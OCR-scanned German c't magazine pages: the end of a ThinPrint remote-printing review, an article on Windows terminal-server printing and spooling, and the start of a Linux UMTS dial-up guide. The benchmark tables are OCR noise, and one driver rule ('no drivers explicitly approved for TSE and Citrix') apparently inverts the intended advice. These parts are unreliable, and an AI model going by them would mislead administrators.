Zum Vergleich: LPR/LPD oder 
TCP/IP befördern die Daten von 
Haus aus unverschlüsselt. RDP 
benutzt RC4, aber Versionen vor 
5.2 leiden unter einer Design- 
Schwäche, sodass sie sehr leicht 
angreifbar sind [1]. Erst ab Ver- 
sion 5.2 kann RDP als zusätzliche 
Verschlüsselungsschicht TLS ver- 
wenden, doch ist dies optional. 
ICA verschlüsselt grundsätzlich, 
allerdings mit einer proprietären, 
Citrix-eigenen Methode. 


Extras 


Rund um ThinPrint gibt es noch 
einige Zusatzprodukte, die Ad- 
mins nützen, wir hier aber nur 
am Rand erwähnen, etwa den 
„print Tracking Service, der statis- 
tische Daten über jeden Druck- 
job in eine MS-SQL-Datenbank 
schreibt. Die Daten wertet dann 


382.8. 


auspacken 
.print Client 


spoolen 


ThinPrint schickt EMF über die Leitung, wobei man mehrere, unterschiedlich stark 
verdichtende Kompressionsstufen wählen kann. Außerdem deckelt es bei Bedarf 


die beanspruchte Bandbreite. 
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die .print Reporting Engine aus 
und erstellt Statistiken und Be- 
richte. Falls NAT (Network Ad- 
dress Translation) im Spiel ist, 
wie bei Thin Clients hinter Breit- 
band-Routern, sorgen das .print 
Client Gateway und das .print 
Connected Gateway für die Ver- 
bindung. 

Etwas undurchsichtig sind die 
Lizenzmodelle: Beim einen zahlt 
man für jeden installierten Ser- 
ver, aber die Zahl der Client-Sys- 
teme ist offen, beim anderen be- 
messen sich die Kosten nach der 
Anzahl der druckenden Anwen- 
der. Für kleinere Firmen ist Letz- 
teres günstiger, die Preise begin- 
nen bei etwa 40 Euro pro User. 
Server-Lizenzen kosten mindes- 
tens 500 Euro. ThinPrint verkauft 
nicht direkt an Endkunden, son- 
dern ausschließlich über Ver- 
triebspartner, meist kleinere IT- 
Consulting-Unternehmen. 


Ausprobiert 


Laut Hersteller steigert ThinPrint 
die Geschwindigkeit um bis zu 
500 Prozent und komprimiert 
die Daten bis auf ein Fünfzigstel. 


Drucker 


rendern 
(normaler Treiber) 
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Die Engine-Konfiguration 
und Zertifikatsverwaltung 
geschieht unter Windows 
über ein Snap-In für die 
Management-Konsole. 


Das haben wir mit eigenen Test- 
läufen überprüft. Ein WANem- 
Gateway simulierte dabei eine 
langsame Verbindung von 60 
kBit/s zwischen Server (Citrix 
Presentation Server 4.0 auf Win- 
dows Server 2003) und ICA- 
Client auf einem Notebook mit 
XP Professional. WANem limitiert 
die nutzbare Bandbreite und 
fügt künstliche Verzögerungen 
(40 Millisekunden Latenz) ein [2]. 
ThinPrint war eingestellt, maxi- 
mal 40 kBit/s zu belegen und 
nicht zu verschlüsseln. 

Als Druckzeit fassen wir die 
Zeit auf, die zwischen Abschi- 
cken des Jobs auf dem Terminal- 
server und Ablage der letzten 
Druckseite in der Papierausgabe 
vergeht. Die temporären .SPL/ 
.SHD-Spooldateien haben wir 
auf dem Server abgefangen, um 
das Volumen zu bestimmen. Zur 
Kontrolle zeichnete Wireshark 
den Netzverkehr auf [3]. Die 
Druckdatenmenge zeigte Wire- 
sharks Funktion „Follow TCP 
Stream” an. 

Das erste Testdokument be- 
stand aus Text ohne Grafik, eine 
zehnfache Wiederholung des bei 
c't-Druckertests üblichen „Dr.- 
Grünert”-Briefes [4], der aus 
Wordpad geschickt wurde. Et- 
was anspruchsvoller war das aus 
einem Text/Grafik-Mix bestehen- 
de zweite Dokument, das per 
MS Word Viewer ausgegeben 
wurde: eine Seite Text, auf dem 
zweiten Blatt ein JPEG-Foto und 
auf dem dritten schließlich eine 
Bitmap-Grafik. Schließlich diente 
ein aus MS Paint gedrucktes, auf 
A4-Format hochgezogenes Foto 
des c’t-Kameratestkastens als 
drittes Beispiel [5]. 

Die Daten wurden zuerst 
„normal“ mit ThinPrint kompri- 
miert, was mit der Standardver- 


#,, Port Manager 


Datei Eenster 2 
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Übernehmen 


dichtung von Citrix vergleichbar 
ist. Anschließend testeten wir 
die höheren Kompressionsstu- 
fen. Auf reine Textdokumente 
zeigte die Verdichtung keinen 
Einfluss. „Normal“ ist bei Grafik 
verlustfrei, höhere Stufen sind 
verlustbehaftet. 

Da Citrix die komplette ICA- 
Sitzung komprimiert, profitiert 
man davon auch beim Drucken. 
Bei UPD Ill entsprach die Daten- 
menge der von ThinPrint in der 
„normalen“ Kompressionsstufe. 
Im Umkehrschluss kann man 
vermuten, dass ThinPrints „nor- 
mal“ nichts anderes tut, als sich 
an die ICA-Sitzungskompression 
dranzuhängen. 

Unter unseren Testbedingun- 
gen brachte ThinPrint den rei- 
nen Text mit acht statt elf Sekun- 
den nur wenig schneller zu Pa- 
pier als der aktuelle Citrix-Treiber 
(4.0.2198.1). Es reduzierte dabei 
die Druckdaten um etwa 75 Pro- 
zent (35 statt 139 KByte). Bei dem 
Mischdokument vergrößerte sich 
der Abstand spürbar: 42 statt 416 
Sekunden bei einer von 2362 auf 
162 KByte reduzierten Daten- 
menge. Geradezu krass fällt der 
Unterschied in der ThinPrint-Ein- 
stellung „Extrem“ aus: Citrix 
brauchte beinahe 40 Minuten 
und schickte rund 9500 KByte an 
Druckdaten über den 40-kBit/s- 
Kanal, während ThinPrint mit 


Kompression und Druckzeit 


Dateityp Reiner Text (139 KByte EMF) 
ThinPrint- Spoolgröße (KByte) Kompression (%) 
Modus besser besser» 

normal EEE 34,5 HE 75 
optimal EEE >/,5 EEE 75 
maximal EEE 34,5 EEE 75 
extrem EEE 34,5 HE 75 
ohneBilder mm 34,8 EEE 75 


Reiner Text: 10 Seiten Dr.-Grünert-Brief; Text und Bild: eine Seite Text, eine Seite JPEG-Foto, eine Seite Bitmap-Grafik; 't-Testbild: Foto der Kamera-Testkiste. 
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Text und Bild (2362 KByte EMF) 


37 Sekunden und 132 KByte 
davonzieht. 

Die höheren Kompressions- 
stufen von ThinPrint sind zwar 
bei Grafiken verlustbehaftet. Al- 
lerdings waren wir von der ver- 
bleibenden Qualität positiv über- 
rascht: Selbst „extrem“ verdichtet 
erschien das Testfoto auf einem 
600-dpi-Farblaser noch so gut, 
dass es von der unkomprimier- 
ten Version auf den ersten Blick 
nicht zu unterscheiden war. Meh- 
rere Testpersonen zögerten län- 
gere Zeit, bevor sie beim direk- 
ten Vergleich den besseren von 
zwei Ausdrucken erkannten. 


Ja oder nein? 


Wenn ThinPrint erst mal instal- 
liert und korrekt konfiguriert ist, 
wird der Anwender nur selten 
daran erinnert, welche Plage 
ihm das SBC-Drucken zuvor be- 
reitete. Allerdings machen der 
schiere Funktionsumfang, die 
umfangreichen Konfigurations- 
möglichkeiten sowie die Spann- 
breite der Zielsysteme dem Ad- 
ministrator den Zugang nicht 
eben leicht. 

ThinPrint gleicht diese Kluft 
mit umfangreicher Dokumenta- 
tion aus. Handbücher, White Pa- 
pers und Installations- sowie 
Konfigurationsanleitungen mit 
vielen Bildschirmfotos beant- 


worten fast jede aufkommende 
Frage. Allerdings will dieses Le- 
sematerial erst mal bewältigt 
sein; vielen potenziellen Nutzern 
wird die nötige Muße fehlen. 
Einen Einstieg verschafft der 
30-Tage-Test der „print RDP En- 
gine XP” samt „.print Client” auf 
zwei Windows-PCs. Einzige Vor- 
aussetzung: Sie müssen sich per 
Remote Desktop verbinden las- 
sen, Terminalserver- oder Citrix- 
Software sind nicht nötig. Die zu 
dem kleinen Paket gehörige 
Setup-Anleitung hat man schnell 
gelesen, die Software ist binnen 
Minuten installiert und dann 
steht den ersten Gehversuchen 
nichts mehr im Weg. (ea) 


Literatur 


[1] Dirk Knop, Kleiner Lauschangriff 


gegen Windows-Fernwartung, 
Designschwäche im Remote- 
Desktop-Protokoll, www.heise. 


de/security/artikel/61945 

[2] Lars Heßling, Netzbremse, 
WANem, c't 22/07, 5.70 

B]Johannes Endres, Fehler er- 
schnüffeln, Netzwerk-Diagnose 
mit Wireshark, www.heise.de/ 
netze/artikel/76929 

[4] Dr.-Grünert-Brief, www.heise.de/ 
ct/testbilder/gruenert-brief 

[5] Testbild-Referenz-Scan der c’t-Ka- 
meratestkiste, www.heise.de/ct/ 
testbilder 


ct-Testbild (10903 KByte EMF) 


Druckzeit (s) Spoolgröße (KByte) Kompression (%) Druckzeit (s) Spoolgröße (KByte) Kompression (%) Druckzeit (s) 

besser besser besser» besser besser besser» besser 
EEE 5. HE 1650 BEE 30 EEE /)/ EEE 0350 MM 14 En 2282 
3 u162 EEE 93 E12 1679 EEE 94 1169 
HE 5 168,5 En 97 119 1241 EEE 95 168 

EEE 5 145,4 EEE 95 113 1132 EEE 99 137 

HE 5 120,2" mE 99" 16) 122,2! m 99,8' 6! 


! nur Text bzw. weißes Blatt ce 


161 


© Copyright by Heise Zeitschriften Verlag GmbH & Co. KG. Veröffentlichung und Vervielfältigung nur mit Genehmigung des Heise Zeitschriften Verlags. 


Know-how | Remote-Drucken unter Windows 


1 


II 


u 


Kurt Pfeifle, Thomas Rost 


Fernfärbedienst 


Hintergrund und Handreichungen zum Remote-Drucken 


Arbeiten aus der Ferne an Terminalservern ist etabliert, aber eine Kern- 
funktion bereitet immer wieder Kopfzerbrechen: das Drucken. Mit etwas 
Hintergrundwissen kann der Administrator Treiberkonflikte und Flaschen- 
hälse beim Drucken übers Netz vermeiden. 
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oo. 

ber die Zeit entsteht in 
U vielen Firmen eine bunte 

Drucker-Sammlung, weil 
kaum ein Finanzchef bereit ist, 
alle paar Jahre einen Komplett- 
austausch der Ausgabegeräte 
zu genehmigen. Das Spektrum 
wird nochmals breiter, wenn 
Heimarbeiter per DFÜ angebun- 
den werden und ihren privaten 
Drucker verwenden müssen. 
Der so entstehende Treiber-Zoo 
ist nur schwer im Griff zu halten, 
wobei das Windows-Drucksys- 
tem ein Teil des Problems ist: 
Alle modernen Windows-Ver- 
sionen tragen noch viele Gene 
ihres Urvaters Windows 3.x in 
sich, der nicht für den Multi- 
user-Betrieb ausgelegt war. 
Auch wenn Windows 95 mit 
mehreren Benutzerkonten um- 
gehen konnte, anmelden durfte 
sich immer nur einer. 

Die Evolution von Windows 
zu einem Mehrbenutzersystem 
ging nicht von Microsoft aus: 
Idee und erste Implementierung 
stammen von der damals noch 
kleinen Firma Citrix, die Anfang 
der 90er Jahre Zugriff auf die 
Quelltexte von OS/2 und Win- 
dows lizenzierte. Basierend auf 
einer Kernelmodifikation bot sie 
wenig später „MultiWin” an, das 
zum Vorgänger heutiger Termi- 
nalserver wurde. 

Nachdem erste Markterfolge 
mit einem aufgebohrten Win- 
dows NT 3.5 die Tragfähigkeit des 
Konzepts bewiesen, zog Micro- 
soft nach und warf eine eigene 
Windows Terminalserver Edition 
für NT 4.0 (TSE) auf den Markt, 
musste dazu aber seinerseits fast 
alle Kernkomponenten aus Citrix’ 
Entwicklungen lizenzieren. 

Die Konkurrenten sind seither 
ein langfristiges Kooperations- 
abkommen eingegangen. Micro- 
soft setzt beim eigenen Produkt 
das Remote Desktop Protocol 
(RDP) für die Client-Server-Ver- 
bindung ein. Es ist von der ITU- 
Protokollspezifikation T.128 ab- 
geleitet und mit proprietären Er- 
weiterungen gespickt. 

Citrix bleibt beim eigenen, 
ebenfalls proprietären ICA-Pro- 
tokoll. Mit zusätzlichen Features 
- beispielsweise Cluster-Fähig- 
keit oder Publizieren einzelner 
Applikationen ohne komplette 
Desktop-Shell - hält sich die 
Firma im Rennen, obwohl Kun- 
den als Grundlage die Micro- 
soft-Terminalserver samt Client- 
Lizenzen kaufen müssen. 

Trotz aller Renovierungsarbei- 
ten blieb das Windows-eigene 
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Drucksystem in seiner Architek- 
tur unverändert: Bei seinem Ent- 
wurf dachte noch niemand 
daran, dass es einmal hunderte 
von Druckern samt zugehöriger 
Treiber auf einem einzigen Rech- 
ner bedienen sollte. Das merkt 
man der flachen Verzeichnis- 
hierarchie an: DLL-, PPD-, Hilfe- 
und andere Treiberdateien lie- 
gen zuhauf im selben Unterver- 
zeichnis, nicht etwa separiert 
nach Fabrikaten und Modellen. 
Welche Dateien interagieren, 
führt Windows auf der Testseite 
aus, deren Druck man aus dem 
Treibereinstellungsmenü anfor- 
dert. In Extremfällen können 
das mehr als 60 Bibliotheken 
(DLLs) sein. Bei manchen Her- 
stellern dienen auch einzelne 
Kern-DLLs mehreren Modellen, 
können also mehrfach einge- 
bunden sein, wenn zwei oder 
mehr Drucker am Rechner 
hängen. Am übersichtlichsten 
ist noch der Adobe/Microsoft- 
PostScript-Treiber. Er besteht 
aus nur fünf Dateien. Die mo- 
dellspezifischen Eigenschaften 
eines Druckers beschreibt dabei 
eine einzige Textdatei (Post- 
Script Printer Definition, PPD). 


Treiberkonflikte 


Zum Nutzen eines Druckers 
in einem Windows-Netzwerk 
braucht der PC sich nur mit der 
zugehörigen Freigabe zu verbin- 
den. Dann lädt er per Remote 
Procedure Call automatisch den 
Treiber vom freigebenden PC 
und installiert ihn lokal. Beim 
Drucken schickt der Client die 
Daten an den freigebenden 
Rechner. Der stellt den Job fer- 
tig, leitet ihn weiter und wird so 
zum Druckserver - bei Windows 
XP Home für maximal fünf 
Clients, bei XP Professional für 
bis zu zehn. 

In LANs mit vielen Druckern 
treten die Nachteile des gemein- 
samen Verzeichnisses schnell zu- 
tage: Treiber-Installer über- 
schreiben ungefragt DLLs ande- 
rer Modelle, falls sie denselben 
Namen tragen - bei vielen Her- 
stellern gang und gäbe. Ob ein 
Drucker mit einer „fremden“ DLL 
harmoniert, ist offen. 


Übers LAN schickt Windows 
normalerweise EMF-Dateien, 
was den Druck-Client entlastet 
und dem Druck-Server die 
Rechenlast des Renderns 
aufbürdet. 
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Solche Konflikte sind schon in 
einer kleinen Arbeitsgruppe 
oder Domäne ohne dedizierten 
Printserver lästig. Richtig ärger- 
lich wird es, wenn neue Treiber 
Hänger des Spooldienstes verur- 
sachen. Dann kann bis zum Neu- 
start des Servers keiner mehr 
drucken. 

Microsoft konzipierte NTA als 
File- und Printserver in Win- 
dows-Arbeitsgruppen und -Do- 
mänen. Hierbei erwies sich eine 
Design-Entscheidung als ver- 
hängnisvoll: Aus Performance- 
Gründen verlegte man das Aus- 
führen von Druckertreibern und 
das komplette GDI-Subsystem 
(Graphics Device Interface) samt 
Grafikkartentreiber in den Ker- 
nelbereich. 

Programme, die im Kernelmo- 
dus Probleme machen, ziehen 
automatisch das ganze System in 
Mitleidenschaft. Usermode-Pro- 
gramme können zwar ebenfalls 
hängen oder crashen, aber das 
trifft nur sie selbst. Das übrige 
System und andere Programme 
bleiben weitgehend unberührt. 

In Terminalserver-Umgebun- 
gen hat sich das ursprüngliche 
Windows-Druck-Konzept kaum 
geändert. Auch hier lagern alle 
Treiber-Files im selben Verzeich- 
nis. Treiber müssen auf dem 
Druck-Client - in diesem Fall 
dem Terminalserver - laufen, der 
sich wie bei der Freigabe den 
Treiber automatisch vom Druck- 
server - dem Terminal-Client - 
holen kann. Die Anfälligkeit für 
Treiberkonflikte ist geblieben. 

Der Absturz eines Kerneltrei- 
bers ist auf dem Terminalserver 
verheerender als in kleinen Ar- 
beitsgruppen: Beim Bluescreen 
stehen schlagartig 50 bis 100 An- 
wender gleich ganz ohne EDV- 
Zugriff da, und mit etwas Pech 
sind alle gerade offenen, noch 
ungesicherten Dokumente be- 
schädigt. 


Usermode 
mit Hintertürchen 


Bei Windows 2000/XP laufen die 
Treiber wieder im Usermode; das 
setzen die voreingestellten Si- 
cherheitsrichtlinien durch, nach 
denen man nur „Version 3”-Trei- 
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ber benutzen darf. Die liegen in 
einem eigenen Unterverzeichnis 
namens „3”. 

Weil aber nicht zu erwarten 
war, dass jeder Hersteller kurz- 
fristig seine Treiber anpasst, ließ 
Microsoft einen Kompatibilitäts- 
modus zu, der die Sicherheits- 
richtlinie ändert und ältere Trei- 
ber im Kernelmode erlaubt. Lei- 
der kann man den Treibertyp 
nur nach dem Installieren auf der 
„Treiber“-Registerkarte im Dialog 
„Eigenschaften von Druckserver” 
erkennen: Kerneltreiber zeigen 
die Kennzeichnung „Windows 
NT 4.0 oder 2000”, Usermode- 
Treiber „Windows 2000 oder XP“. 

In einer SBC-Umgebung sollte 
der Administrator aus reinem 
Selbstschutz die Liste der erlaub- 
ten, zugleich installierten Treiber 
rigoros einschränken. Falls Ker- 
neltreiber unverzichtbar sind, 
lässt man sie nur nach ausgiebi- 
gem Testen auf den Server. 


Drucken im 
Terminalserver 


Aktuelle MS-TSE- und Citrix-Ver- 
sionen kennen mehrere Metho- 
den für den Remote-Druck: De- 
dizierte Druckserver befreien 
die Terminalserver vom Selbst- 
Rendern, dem rechenzeitfres- 
senden Umsetzen aus dem EMF- 
Zwischenformat (siehe Kasten 
auf der nächsten Seite) in die in- 
dividuelle Druckersprache. Das 
ist günstig, wenn der Printserver 
die Zieldrucker der Anwender di- 
rekt erreichen kann und die Lei- 
tungskapazität des Netzwerks 
keinen Flaschenhals darstellt. 
Auch bei einem dedizierten 
Druckserver sollte man die 
Grundregel „Keine Kernelmo- 
dus-Treiber!” beachten. Denn 
wenn man vom Terminalserver 
aus per Freigabe über den Dru- 
ckerserver ausgibt, holt der Ter- 
minalserver sich den Treiber per 
RPC und installiert ihn lokal. 
Besonders Administratoren 
einer Farm von Terminalservern 
sollten unbedingt sicherstellen, 
dass jedes Gerät denselben Satz 
getesteter, stabiler Treiber ver- 
wendet. Andernfalls kann sich 
ein „faules Ei” per automati- 
scher Replikation im Handum- 
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rendern 
(Druckertreiber) 


drehen über die ganze Farm 
verbreiten. 


Drucker-Automatik 


Die zweite Art des Remote- 
Drucks ist speziell bei Tele-Ar- 
beitern interessant: Hierbei legt 
der Terminalserver beim Anmel- 
den den Drucker für die Dauer 
der Sitzung automatisch an; 
beim Abmelden verschwindet 
er wieder. Sein Anschluss wird 
auf den lokalen Terminal-Client 
umgeleitet, meist durch einen 
virtuellen Tunnel innerhalb der 
ICA- oder RDP-Verbindung. Das 
ist gerade bei dünnen Leitun- 
gen nützlich: Dann kann eine 
Kontrollinstanz die für den 
Druckvorgang reservierte Band- 
breite quotieren. Sonst leidet 
die Interaktivität der Anwender- 
sitzung. 

Auch hier braucht der Termi- 
nalserver einen Treiber, wobei 
man wegen der möglichen Kon- 
fliktte meist nur die Wahl zwi- 
schen zwei unbefriedigenden Al- 
ternativen hat: Entweder küm- 
mert sich ein generischer, meist 
PCL-basierter Treiber als kleins- 
ter gemeinsamer Nenner um alle 
Drucker. Der macht keine Pro- 
bleme, deckt aber wegen einge- 
schränkter Optionen - typischer- 
weise keine Papierfach-Wahl, 
kein beidseitiger Druck (Duplex) 
oder Kopiensortierung - viele 
Anwendungsfälle nur unbefrie- 
digend ab. 

Alternativ gibt der Adminis- 
trator eine kleine Liste zugelas- 
sener Treiber frei, die per Tabel- 
le auf die individuellen Geräte 
zugeordnet werden. Dabei 
passt der Treiber zwar auch 
nicht immer exakt zum Gerät, 
aber zumindest können die An- 
wender aus mehr Job-Optionen 
wählen. Die Pflege einer „grü- 
nen” Liste erfordert regelmäßig 
Aufmerksamkeit: Wenn wegen 
Neueinstellungen oder Umzü- 
gen wöchentlich oder täglich 
Benutzerkonten neu angelegt 
oder modifiziert werden müs- 
sen, wünscht man sich häufig 
eine komfortablere, effizientere 
Lösung. So etwas bieten derzeit 
beispielsweise Citrix oder Thin- 
Print an. 


Drucker 


Druck-Server 
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Know-how | Remote-Drucken unter Windows 


Universalist mit Umweg 


Citrix bot schon vor seinem Pre- 
sentation Server 4.0 einen eige- 
nen „Universal Printer Driver” 
(UPD) an, der von den Treibern 
für HPs Laserjet Il, Color Laserjet 
4500 und Color Laserjet 5 PS ab- 
geleitet ist. Je nach Modell er- 
zeugt der Treiber auf dem Termi- 
nalserver die Raw-Formate PCL4 
(monochrom, 300 dpi), PCL5c 
(farbig, 600 dpi) oder PostScript. 
Die Raw-Daten schickt er zum 
ICA-Client, der den Druck-Input 
rechenzeitfressend seitenweise 
zu Bitmaps (BMP) konvertiert 
und diese mittels des lokalen 
Treibers über die Stufen EMF 
und Raw endlich zum Drucker 
schickt. 

So vermeidet Citrix zwar trei- 
berbedingte Instabilitäten auf 
dem Server und vereinfacht die 
Administration, aber der Druck- 
vorgang läuft durch das dreifache 
Spoolen und Rendern sehr zäh. 
Obendrein kostet das Zwischen- 
speichern der Bitmaps vor allem 
Thin Clients kostbaren Speicher- 
platz. Zudem unterstützt der UPD 
nur die elementarsten Job-Ein- 
stellungen (Papierformat, Anzahl 
der Kopien, Auflösung). 

Mit dem Presentation Server 
4.0 hat Citrix den UPD Ill einge- 
führt: Er erzeugt EMF auf dem 
Server, was dort das Rendern 
spart. Beim ICA-Client (Version 
9.20 oder höher) entfällt die Bit- 
map-Zwischenstufe, er rendert 
EMF mit dem lokalen Drucker- 
treiber. Auf Wunsch zeigt der 
Client sogar eine lokale Vor- 
schau, aus der man Seiten zum 
Drucken wählen oder die Ausga- 
be auf einen anderen Drucker 
umleiten kann. Ebenso stehen 
alle Optionen des lokalen Trei- 
bers zur Verfügung. 


Best Practices 


Microsoft bietet erst seit SP1 für 
Windows Server 2003 einen 
„Fallback Printer Driver” an: Der 
Terminalserver ordnet anhand 
der Namen für Drucker und Trei- 
ber auf dem Client und anhand 
vorgefundener Strings („PCL”, 
„PS" oder „Color“) automatisch 


Wenn man die „erweiterten 
Druckfunktionen” deaktiviert, 
rendert der Client wieder 
selbst. Der Server muss nur 
durchleiten und seinen Clients 
Treiber zum automatischen 
Download anbieten. 
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einen von drei Ersatztreibern zu 

(HP Deskjet 500/500c, Laserjet 

4/4M PS oder Color Laserjet 

5/5M PS). Sie schränken als 
kleinster gemeinsamer Nenner 
die Job-Optionen aber stark ein. 

Eine Handvoll goldener Regeln 

vermeidet unnötigen Stress 

beim Drucken mit MS-TSE-Bord- 
mitteln: 

- keine Kernelmode-Treiber au- 
ßer Adobe-/Microsoft-Post- 
Script; 

- lieber PCL5- als PCL6-Treiber 
(kleinere Datenmengen); 

- wenn möglich PostScript ein- 
setzen; 

- bei nicht auf den Windows- 
2000- oder 2003-Server-CDs 
enthaltenen Treibern Vorsicht 
walten lassen; 

- keine unsignierten Treiber 
ohne ausgiebige, eigene Tests; 

- keine ausdrücklich vom Her- 
steller für TSE und Citrix freige- 
gebenen Treiber; 

- neue Treiber zuerst in Test- 
Umgebung erproben; 

- die Zahl installierter Treiber 
möglichst gering halten; 

- keine Terminalsitzung als 
Hauptbenutzer oder lokaler 
Administrator, sonst könnte 
ein lokaler Treiber vom mo- 
mentanen Terminal ungewollt 
hochgeladen und automatisch 
als Sitzungsdrucker installiert 
werden. 


Spooling 


Damit Anwender beim Drucken 
möglichst schnell weiterarbeiten 
können, schreibt das Betriebssys- 
tem Druckdaten zuerst in ein 
Festplatten-Zwischenlager, das 
Spoolverzeichnis, und verarbei- 
tet sie im Hintergrund - auch 
zeitversetzt, falls der Drucker ge- 
rade nicht frei oder online ist. Die 
Dateien landen bei Windows NT4 
bis Server 2003 für alle Dru- 
cker normalerweise in „%win 
dir%\System32\spool\PRINTERS”. 
Der Ort lässt sich über die Druck- 
server-Eigenschaften leicht än- 
dern. Das wird beispielsweise bei 
großen Printservern mit Perfor- 
mance-Problemen nützlich: Sie 
laufen runder, wenn man das 
Zwischenlager auf eine separate 
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rendern + spoolen 
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Applikation 
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EMF 


Enhanced Metarile ist ein Mi- 
crosoft-eigenes, nicht voll- 
ständig offengelegtes, gerä- 
teunabhängiges Format für 
Spooldateien, das vom Gra- 
fikformat Windows MetafFile 
(WMF) abgeleitet wurde. EMF 
besteht aus einer Aufzeich- 
nung der Funktionsaufrufe, 
die Windows’ Grafiksubsys- 
tem GDI ausführt, um ein Do- 
kument auf den Bildschirm zu 
zeichnen. Weil EMF vektor- 
basiert ist, erzeugt es norma- 
lerweise recht kompakte Da- 
teien. Es kann allerdings auch 
Bitmaps einbetten, die die 
Spooldatei schnell anschwel- 
len lassen. 


Festplatte mit eigenem Control- 
ler legt. Dafür eignet sich das 
Stammverzeichnis wie „D:\” aller- 
dings nicht, Windows erwartet 
die Spooldateien in einem Unter- 
verzeichnis. Nach der Änderung 
startet man den Spooldienst auf 
der Kommandozeile neu mittels 
net stop spooler und net start spooler. 

Im Spoolverzeichnis erzeugt 
jeder Druckjob zwei verschiede- 
ne Binärdateien: Die „;hadow“- 
Datei (.SHD) enthält spezifische 
Job-Informationen (Benutzerna- 
me, Dokumentname, Dateityp 
usw.) für administrative Zwecke. 
Die eigentlichen Druckdaten la- 
gern in der Spooldatei (.SPL). Der 
Dateiname entspricht der Auf- 
tragsnummer. 

Wenn Ausdrucke auf dem Pa- 
pier anders aussehen als auf dem 
Bildschirm, kann der Administra- 
tor die Spooldateien inspizieren 
und so feststellen, ob die Anwen- 
dung oder der Treiber bockt. 
Dazu markiert er in den erweiter- 
ten Druckereigenschaften die 
Option „Druckaufträge nach dem 
Drucken nicht löschen” oder hält 
die Warteschlange an oder schal- 
tet den Drucker offline. 

Beim Remote-Drucken ent- 
hält die .SPL-Datei EMF-Daten, 
die das Windows-Tool SPLVie- 
wer in einer Vorschau anzeigt. Es 
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kann die Datei auch kopieren, lö- 
schen oder auf anderen Dru- 
ckern ausgeben. Raw-Daten aus 
lokalen Druckaufträgen präsen- 
tiert der SPLViewer als Hex- 
Dump; PostScript-Dateien zeigt 
Ghostscript an, und bei HP/GL 
oder PCL kommt man mit 
GhostPCL oder dem PCL Reader 
weiter (siehe Soft-Link). 


EMF oder Raw spoolen? 


EMF-Spoolen geht schneller und 
ist mit weniger Prozessorlast ver- 
bunden als die Raw-Erzeugung. 
Deshalb ist es günstiger, die 
Raw-Erzeugung möglichst auf 
einem dedizierten Printserver er- 
ledigen zu lassen. Wenn das Dru- 
cken über eine Schmalband- 
verbindung läuft, ist es sinnvoll, 
die Spooldatenmenge möglichst 
klein zu halten. Dafür sind eigen- 
händige Messungen über einen 
repräsentativen Querschnitt der 
eigenen Dokumenttypen mit 
den fraglichen Treibern unver- 
zichtbar: Häufig hört man „EMFs 
sind kleiner als Raw-Spools”, 
doch in der Praxis ist es oft um- 
gekehrt. 

Normalerweise spoolt Win- 
dows im EMF-Format, in den 
Treibereigenschaften sind „er- 
weiterte Druckfunktionen” mit 
einem Häkchen aktiviert (bei 
Vista: „Druckaufbereitung auf 
Clientcomputern durchführen‘). 
Ohne den Haken konvertiert der 
Treiber das vom GDI kommende 
EMF direkt ins Raw-Format. Doch 
auch mit Häkchen entsteht nicht 
immer eine EMF-Datei, denn 
manche Hersteller verordnen 
bestimmten Treibern ab Werk 
Raw-Ausgabe. 

Manche Anwendungen wie 
etwa die meisten Adobe-Pro- 
gramme überspringen beim 
Druck auf ein PostScript-Gerät 
den EMF-Zwischenschritt. Fer- 
ner kann ein Druckserver dem 
Client signalisieren, dass er kein 
EMF versteht. Auch dann ent- 
steht lokal eine Raw-Datei, bei- 
spielsweise wenn Windows- 
Clients über einen Samba-Server 
drucken. (ea) 
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Reisenetz 


Handys und Datenkarten für die 
Internet-Einwahl unter Linux nutzen 


Dank UMTS und GPRS braucht heute kein Reisender 
mehr auf das Internet zu verzichten. Verbindet man 
Handy und Laptop wechselweise per Bluetooth oder USB- 
Kabel oder benutzt eine GPRS- und UMTS-Datenkarte, 
wird die Konfiguration der Internet-Einwahl schnell 
komplex. Mit ein paar Udev-Regeln und symbolischen 
Links hingegen klappt der Wechsel komfortabel. 


it dem zunehmenden 
Ausbau der UMTS-Netze 
durch die Mobilfunkan- 
bieter sind schnelle Internetver- 
bindungen auf Reisen heute kein 
Problem mehr, auch wenn durch 
Versorgungslücken das deutlich 
langsamere GPRS immer mal 
wieder einspringen muss. Alter- 
nativ zu Handys bieten die Mo- 
bilfunk-Provider auch spezielle 
Datenkarten für den PC-Card- 
Slot des Notebooks an. 
Die Handys oder Datenkarten 
stellen ein Modem-Device zur 
Verfügung, über das Linux eine 
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herkömmliche PPP-Verbindung 
ins Internet aufbaut. Die PPP- 
Einstellungen sind dabei weit- 
gehend Provider-unabhängig: 
Anstelle einer Einwahl-Telefon- 
nummer wird bei UMTS und 
GPRS ein Steuerbefehl eingetra- 
gen, und Benutzername sowie 
Passwort sind üblicherweise be- 
liebig. Es unterscheiden sich nur 
je nach Anbindung an den 
Rechner die Gerätenamen der 
Modems, zudem benötigt man 
bei den Datenkarten ein Spezial- 
programm zur PIN-Eingabe der 
SIM-Karte. 


Ist man mit Notebook und 
Handy unterwegs, bietet sich 
Bluetooth zur Kopplung beider 
Geräte an. So kann das Handy in 
der Tasche bleiben, obwohl man 
per UMTS oder GPRS im Internet 
surft. Die Einrichtung der Blue- 
tooth-Verbindung ist einfach, 
allerdings müssen Sie dazu das 
Handy zunächst per Bluetooth 
sichtbar schalten. 


Drahtlos angebunden 


Der Befehl hcitool scan liefert Ihnen 
eine Liste aller in der Umgebung 
gefundenen Bluetooth-Geräte 
mit MAC-Adresse und dem Gerä- 
tenamen. Notieren Sie sich hier 
die MAC-Adresse Ihres Handys. 
Anschließend rufen Sie das Kom- 
mando sdptool browse gefolgt von 
der MAC-Adresse auf und su- 
chen in der Liste der Bluetooth- 
Dienste Ihres Handys nach dem 
Dienst „Dial-up Networking”. 
Unter „Channel“ finden Sie die 
Angabe des Bluetooth-Kanals, 
über den Sie das Handy-Modem 
ansprechen können. 

Nun richten Sie eine statische 
Gerätezuordnung über die Datei 
/etc/bluetooth/rfcomm.conf ein. 
Für die MAC-Adresse 00:1D:28: 
17:E0:06 und den Kanal 2 tragen 
Sie folgenden Abschnitt ein: 


rfcommO { 
bind yes; 


device 00:1D:28:17:E0:06; 
channel 2; 
comment "Handy"; 


} 


Beim nächsten Start des Blue- 
tooth-Daemons wird nun auto- 
matisch die Gerätedatei /dev/ 
rfcommß angelegt, selbst wenn 
der Bluetooth-Adapter nicht an- 
geschlossen oder das Handy 
ausgeschaltet sein sollte. 

Für die manuelle Einrichtung 
von PPP legen Sie im Verzeichnis 
/etc/ppp/peers eine neue Datei 
mit dem Namen pppO an, die 
